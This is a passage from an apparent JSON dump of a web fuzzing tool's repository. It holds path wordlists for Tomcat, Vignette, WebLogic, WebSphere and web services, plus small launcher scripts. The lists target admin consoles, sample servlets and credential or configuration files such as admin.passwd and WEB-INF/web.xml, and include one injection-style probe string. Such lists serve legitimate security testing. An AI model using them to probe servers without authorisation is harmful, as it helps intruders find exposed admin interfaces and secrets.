pache.catalina.servlets.WebdavServlet/\r\nexamples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/snp/snoop.jsp\r\nexamples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/source.jsp\r\nservlet/org.apache.catalina.servlets.SnoopAllServlet\r\nservlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet\r\nservlet/org.apache.catalina.servlets.ManagerServlet\r\nservlet/org.apache.catalina.servlets.HTMLManagerServlet\r\nservlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.SnoopAllServlet\r\nservlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif\r\nservlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif\r\nservlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif\r\n?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1\r\n"
  },
  {
    "path": "wordlist/vulns/vignette.txt",
    "content": "0,,,00\n0,,,00.html\n1,,,00\n1,,,00.html\nCDA\nCDS\nCMA\nCMS\nDeleting\nDocs\nEditing\nHOME\nImages\nInternal\nMetaDataUpdate\nReport\nSelect\nStoryServer\nTMT\nVGN\nXML\nac\nallvars\nasp\naspstatus\ncda\ncds\ncma\ncms\ncontroller\ndiag\ndocs\nedit\nerror\nerrorpage\nerrors\nexecutequery\nexternal\nhome\nibm\ninitialize\ninternal\njsp\njspstatus\njsptest\nlegacy\nlicense\nlistcolumns\nlogin\nloginlogo\nlogo\nmain\nmenu\nmetadataupdate\nperformance\nportal\nppstats\npreview\npreviewer\nrecord\nreset\nsave\nstat\nstatus\nstoryserver\nstyle\nstylepreviewer\nutils\nvdc\nvgn\nvr\nPing.jsp\nHelloWorld.jsp\n\n"
  },
  {
    "path": "wordlist/vulns/weblogic.txt",
    "content": "*\n*.gif\n*.gif/\n*.html\n*.jsp\n*.jsp/\n*.jws\n*.shtml/\nAdminCaptureRootCA\nAdminClients\nAdminConnections\nAdminEvents\nAdminJDBC\nAdminLicense\nAdminMain\nAdminProps\nAdminRealm\nAdminThreads\nAdminVersion\nBizTalkServer\nBootstrap\nCertificate\nClasspath/\nConsoleHelp/\nConsoleHelp\nDefaultWebApp\nHTTPClntClose\nHTTPClntLogin\nHTTPClntRecv\nHTTPClntSend\nLogfileSearch\nLogfileTail\nLogin.jsp\nMANIFEST.MF\nMETA-INF\nSimpappServlet\nStockServlet\nT3AdminMain\nUniversityServlet\nWEB-INF\nWEB-INF./web.xml\nWEB-INF/web.xml\nWLDummyInitJVMIDs\nWebServiceServlet\n_tmp_war\n_tmp_war_DefaultWebApp\na2e2gp2r2/x.jsp\nactions\nadmin/login.do\napplet\napplications\nauthenticatedy\nbea_wls_internal/classes/\nbea_wls_internal/classes/ \nbea_wls_internal/WebServiceServlet\nbea_wls_internal/getior\nbea_wls_internal\nbea_wls_internal/HTTPClntSend\nbea_wls_internal/HTTPClntRecv\nbea_wls_internal/iiop/ClientSend\nbea_wls_internal/iiop/ClientRecv\nbea_wls_internal/iiop/ClientLogin\nbea_wls_internal/WLDummyInitJVMIDs\nbea_wls_internal/a2e2gp2r2/x.jsp\nbea_wls_internal/psquare/x.jsp\nbea_wls_internal/iiop/ClientClose\nbeanManaged\ncertificate\nclasses\nclasses/\ncom\ncommon\nconfig\nconsole\ncookies\ndefault\ndocs51\ndomain\ndrp-exports\ndrp-publish\ndummy\ne2ePortalProject/Login.portal\nejb\nejbSimpappServlet\nerror\nexamplesWebApp/EJBeanManagedClient.jsp\nexamplesWebApp/WebservicesEJB.jsp\nexamplesWebApp/OrderParser.jsp?xmlfile=C:/bea/weblogic81/samples/server/examples/src/examples/xml/orderParser/order.xml\nexamplesWebApp/index.jsp\nexamplesWebApp/InteractiveQuery.jsp\nexamplesWebApp/SessionServlet\nfault\nfile\nfile/\nfileRealm\nfileRealm.properties\ngetior\ngraphics\nhelloKona\nhelloWorld\niiop/ClientClose\niiop/ClientRecv\niiop/ClientLogin\niiop/ClientSend\nimages\nindex\nindex.jsp\ninternal\njmssender\njmstrader\njspbuild\njwsdir\nlogin.jsp\nmanifest.mf\nmapping\nmydomain\nmyservlet\npage\npatient/login.do\npatient/register.do\nphone\nphysican/login.do\nportalAppAdmin/login.jsp\nproperties\nproxy\npsquare/x.jsp\npublic_html\nservlet\nservletimages\nservlets/\nsession\nsimpapp\nsimple\nsimpleFormServlet\nsnoop\nsurvey\nsystem\ntaglib-uri\nuddi\nuddi/uddilistener\nuddiexplorer\nuddilistener\nutils\nweb\nweb.xml\nweblogic\nweblogic.properties\nweblogic.xml\nwebservice\nwebshare\nwl_management_internal2/FileDistribution\nwl_management_internal2/Bootstrap\nwl_management_internal2/Admin\nwl_management_internal2/wl_management\nwl_management_internal1/LogfileTail\nwl_management_internal1/LogfileSearch\nwl_management_internal1\nwl_management\nwl_management_internal2\nwliconsole\nwlserver\n"
  },
  {
    "path": "wordlist/vulns/websphere.txt",
    "content": "*\n*.do\n*.jsp\n*.jsv\n*.jsw\nAddressBookJ2WB\nAddressBookJ2WB/*\nAddressBookJ2WE/services/AddressBook\nAddressBookJ2WE/services/AddressBook/wsdl/*\nAddressBookW2JB\nAddressBookW2JB/*\nAddressBookW2JE/services/AddressBook\nAddressBookW2JE/services/AddressBook/wsdl/*\nAlbumCatalogWeb\nAlbumCatalogWeb/*\nAlbumCatalogWeb/docs/*\nAlbumCatalogWeb/docsservlet\nAlbumCatalogWeb/docsservlet/*\nAlbumCatalogWebservlet\nAlbumCatalogWebservlet/*\nAppInstallStatusServlet\nAppManagementStatus\nAppServer\nApplicationProfileSample\nApplicationProfileSample/*\nApplicationProfileSample/docs/*\nApplicationProfileSampleservlet\nApplicationProfileSampleservlet/*\nBBApp\nBank/*.jsp\nBank/*.jsv\nBank/*.jsw\nBank/services/Transfer_SEI\nBank/services/Transfer_SEI/wsdl\nBank/services/Transfer_SEI/wsdl/*\nBeenThere\nClusterRollout\nControllerServlet\nDynaCacheESI\nDynaCacheESI/esiInavlidator \nDynamicQuery/EmployeeFinder\nDynamicQuery/EmployeeFinder/*\nDynamicQuery/docs/*\nErrorReporter\nErrorServlet\nFileTransfer\nGalleryMenu\nGreenhouse\nGreenhouse/*\nGreenhouseByWebSphere/docs/*\nGreenhouseEJB/services/GreenhouseFront\nGreenhouseEJB/services/GreenhouseFront/wsdl/*\nGreenhouseWeb\nGreenhouseWeb/*\nGreenhouseWebservlet\nGreenhouseWebservlet/*\nGreenhouseservlet\nGreenhouseservlet/*\nHelloHTML.jsp\nHelloHTMLError.jsp\nHelloPervasive\nHelloVXML.jsp\nHelloVXMLError.jsp\nHelloWML.jsp\nHelloWMLError.jsp\nHelloWorld\nHelloWorldServlet\nHitCount\nHitCount.jsp\nIBMDefaultErrorReporter\nIBMWebAS\nJTAExtensionsSamples/TransactionTracker\nJTAExtensionsSamples/TransactionTracker/*\nJTAExtensionsSamples/docs/*\nMessageDrivenBeans/docs/*\nMessageDrivenBeans/docsservlet/*\nOrderProcessorEJB/*\nOrderProcessorEJB/services/FrontGate\nOrderProcessorEJB/services/FrontGate/wsdl/*\nPlantsByWebSphere\nPlantsByWebSphere/*\nPlantsByWebSphere/docs\nPlantsByWebSphere/docs/*\nSamplesGallery\nSamplesGallery/*\nSimpleServlet\nSnoopServlet\nSourceCodeViewer\nSourceservlet-classViewer\nStockQuote/*.jsp\nStockQuote/*.jsv\nStockQuote/*.jsw\nStockQuote/services/xmltoday-delayed-quotes\nStockQuote/services/xmltoday-delayed-quotes/wsdl/*\nTechnologySamples/AddressBook\nTechnologySamples/AddressBook/*\nTechnologySamples/AddressBook/AddressBookServlet\nTechnologySamples/AddressBook/servlet/*\nTechnologySamples/BasicCalculator\nTechnologySamples/BasicCalculator/*\nTechnologySamples/BulletinBoard\nTechnologySamples/BulletinBoard/*\nTechnologySamples/BulletinBoardservlet\nTechnologySamples/BulletinBoardservlet/*\nTechnologySamples/Calendar\nTechnologySamples/Calendar/*\nTechnologySamples/FilterServlet\nTechnologySamples/FilterServlet/*\nTechnologySamples/FormLogin\nTechnologySamples/FormLogin/*\nTechnologySamples/FormLoginservlet\nTechnologySamples/FormLoginservlet/*\nTechnologySamples/JAASLogin\nTechnologySamples/JAASLogin/*\nTechnologySamples/JAASLoginservlet\nTechnologySamples/JAASLoginservlet/*\nTechnologySamples/MovieReview\nTechnologySamples/MovieReview/*\nTechnologySamples/MovieReview2_0\nTechnologySamples/MovieReview2_0/*\nTechnologySamples/MovieReview2_1\nTechnologySamples/MovieReview2_1/*\nTechnologySamples/PageReturner\nTechnologySamples/PageReturner/*\nTechnologySamples/PageReturnerservlet\nTechnologySamples/PageReturnerservlet/*\nTechnologySamples/ReadingList\nTechnologySamples/ReadingList/*\nTechnologySamples/SimpleJSP\nTechnologySamples/SimpleJSP/*\nTechnologySamples/SimpleServlet\nTechnologySamples/SimpleServlet/*\nTechnologySamples/Subscription\nTechnologySamples/Subscription/*\nTechnologySamples/Subscriptionservlet\nTechnologySamples/Subscriptionservlet/*\nTechnologySamples/Taglib\nTechnologySamples/Taglib/*\nTechnologySamples/docs\nTechnologySamples/docs/*\nTechnologySamples/docs/chs\nTechnologySamples/docs/chs/*\nTechnologySamples/docs/cht\nTechnologySamples/docs/cht/*\nTechnologySamples/docs/deu\nTechnologySamples/docs/deu/*\nTechnologySamples/docs/en\nTechnologySamples/docs/en/*\nTechnologySamples/docs/esp\nTechnologySamples/docs/esp/*\nTechnologySamples/docs/fra\nTechnologySamples/docs/fra/*\nTechnologySamples/docs/ita\nTechnologySamples/docs/ita/*\nTechnologySamples/docs/jpn\nTechnologySamples/docs/jpn/*\nTechnologySamples/docs/kor\nTechnologySamples/docs/kor/*\nTechnologySamples/docs/ptb\nTechnologySamples/docs/ptb/*\nWSsamples\nWSsamples/*\nWSsamples/en\nWSsamples/en/*\nWSsamples/index.jsp\nWarehouseEJB/*.jsp\nWarehouseEJB/*.jsv\nWarehouseEJB/*.jsw\nWarehouseEJB/services/WarehouseFront\nWarehouseEJB/services/WarehouseFront/wsdl/*\nWarehouseWeb\nWarehouseWeb/*\nWarehouseWebservlet\nWarehouseWebservlet/*\nWebServicesSamples/docs/*\nWebSphere\nWebSphereBank\nWebSphereBank/*\nWebSphereBankDeposit\nWebSphereBankDeposit/*\nWebSphereBankDepositservlet\nWebSphereBankDepositservlet/*\nWebSphereBankservlet\nWebSphereBankservlet/*\nWebSphereSamples\nWebSphereSamples.Configuration.config\nWebSphereSamples/\nWebSphereSamples/SingleSamples/AccountAndTransfer/create.html\nWebSphereSamples/SingleSamples/Increment/increment.html\nWebSphereSamples/YourCo/main.html\n_DynaCacheEsi\n_DynaCacheEsi/*\n_DynaCacheEsi/esiInvalidator\nab/*\nab/docs/*\nactivitysessions/docs/*\naddNodeListener\nadmin\nadmin-authz.xml\nadmin.conf\nadmin.passwd\nadmin/*\nadmin/logon.jsp\nadmin/secure/logon.jsp\napadminred\napadminred.html\naphtpasswd.html\nasynchbeans/*\nasynchbeans/docs/*\ncachemonitor\ncachemonitor/statistics.jsp\ncell.xml\ncells\ncgi-bin\ncgi-bin/\ncom.ibm.ws.console.events\ncom.ibm.ws.console.events/runtime_messages.jsp\nconfig\nconsole\ndebug_error.jsp\nerror\nerror.jsp\nesiInavlidator\nestore\nestore/annotated-index.html\nestore/index.html\nestore/populate\nexamples\nhello\nhelloEJB\nhitcount\nhttpd.conf\ni18nctxSample\ni18nctxSample/*\ni18nctxSample/docs/*\nibm\nibm/console\nicons\nimages\nindex.html\nindex.jsp\nivt\nivt/*\nivt/ivtDate.jsp\nivt/ivtejb\nivt/ivtservler\nivt/ivtservlet\nivtejb\nivtserver\nivtservlet\njsp\nj_security_check\nlogin.html\nmanual\nmanual/index.html\nnode.xml\nnodes\nopc/*.jsp\nopc/*.jsv\nopc/*.jsw\nopc/services/BrokerServiceIntfPort\nopc/services/BrokerServiceIntfPort/wsdl/*\nopc/services/OrderTrackingIntfPort\nopc/services/OrderTrackingIntfPort/wsdl/*\nopc/services/PurchaseOrderIntfPort\nopc/services/PurchaseOrderIntfPort/wsdl/*\nopt\npetstore\npetstore/*\nping\nremoveNodeListener\nresources.xml\nruntime_messages.jsp\nsamples/activitysessions\nsamples/activitysessions/*\nscheduler\nscheduler/*\nscheduler/docs/*\nscripts\nsecure/downloadFile/*\nsecurecleanup\nsecurity.xml\nserver-info\nserver-status\nserver.xml\nserverindex.xml\nservers\nservlet\nservlet/*\nservlet/ControllerServlet\nservlet/ErrorReporter\nservlet/HelloWorldServlet\nservlet/HitCount\nservlet/SimpleServlet\nservlet/SnoopServlet\nservlet/TheExpiringHTMLServlet\nservlet/WebSphereSamples.Configuration.config\nservlet/WebSphereSamples.Form.FormServlet\nservlet/WebSphereSamples.YourCo.News.NewsServlet\nservlet/aphtpassword\nservlet/com.ibm.as400ad.webfacing.runtime.httpcontroller.ControllerServlet\nservlet/com.ibm.servlet.engine.webapp.DefaultErrorReporter\nservlet/com.ibm.servlet.engine.webapp.InvokerServlet\nservlet/com.ibm.servlet.engine.webapp.SimpleFileServlet\nservlet/com.ibm.servlet.engine.webapp.UncaughtServletException\nservlet/com.ibm.servlet.engine.webapp.WebAppErrorReport\nservlet/hello\nservlet/snoop\nservlet/snoop2\nservletcache\nshowCfg\nsibstatus\nsimple.jsp\nsimpleJSP\nsnoop\nsnoop/*\nsnoop2\nstatistics.jsp\nstatus\nstatuspoll\ntheme\ntradetheme\ntransfer\nuddigui/*\nuddisoap/*\nvariables.xml\nvery_simple.jsp\nvirtualhosts.xml\nwasPerfTool\nwasPerfTool/*\nwasPerfToolservlet\nwasPerfToolservlet/*\nwebapp\nwebapp/examples/ErrorServlet\nwebapp/examples/HelloPervasive\nwebapp/examples/HitCount\nwebapp/examples/SourceCodeViewer\nwebapp/examples/login.html\nwebapp/examples/ping\nwebapp/examples/showCfg\nwebapp/examples/showcfg\nwebapp/examples/simple.jsp\nwebapp/examples/verify\nwebexec\nworkarea/*\nworkarea/docs/*\n"
  },
  {
    "path": "wordlist/webservices/ws-dirs.txt",
    "content": "ServiceDefinition\r\nadmin\r\natom\r\naxis\r\ncontext\r\ndefault\r\ndisco\r\nextwsdl\r\nindex\r\ninquire\r\ninquiryapi\r\ninspection\r\ninterface\r\ninterfaces\r\njboss-net\r\njbossws\r\njuddi\r\nmanual\r\nmethods\r\nname\r\nnames\r\noperation\r\noperations\r\noracle\r\nproxy\r\npublish\r\npublishing\r\nquery\r\nrss\r\nservice\r\nservices\r\nsvce\r\nuddi\r\nuddiexplorer\r\nuddigui\r\nuddilistener\r\nuddisoap\r\nwebservice\r\nwebserviceclient\r\nwebserviceclient+ssl\r\nwebservices\r\nws\r\nws4ee\r\nwsatom\r\nwsdl\r\nwsgw\r\nwsil\r\nxmethods\r\n"
  },
  {
    "path": "wordlist/webservices/ws-files.txt",
    "content": "\n.asmx\n.asmx?wsdl\n.aspx\n.atom\n.disco\n.html\n.java\n.jsp\n.jws\n.jws?wsdl\n.php\n.pl\n.py\n.rss\n.svc\n.wsdl\n?disco\n?wsdl\n"
  },
  {
    "path": "wxfuzz",
    "content": "#!/bin/sh\npython src/wxfuzz.py $@\n"
  },
  {
    "path": "wxfuzz.bat",
    "content": "call python src\\wxfuzz.py %*\n"
  }
]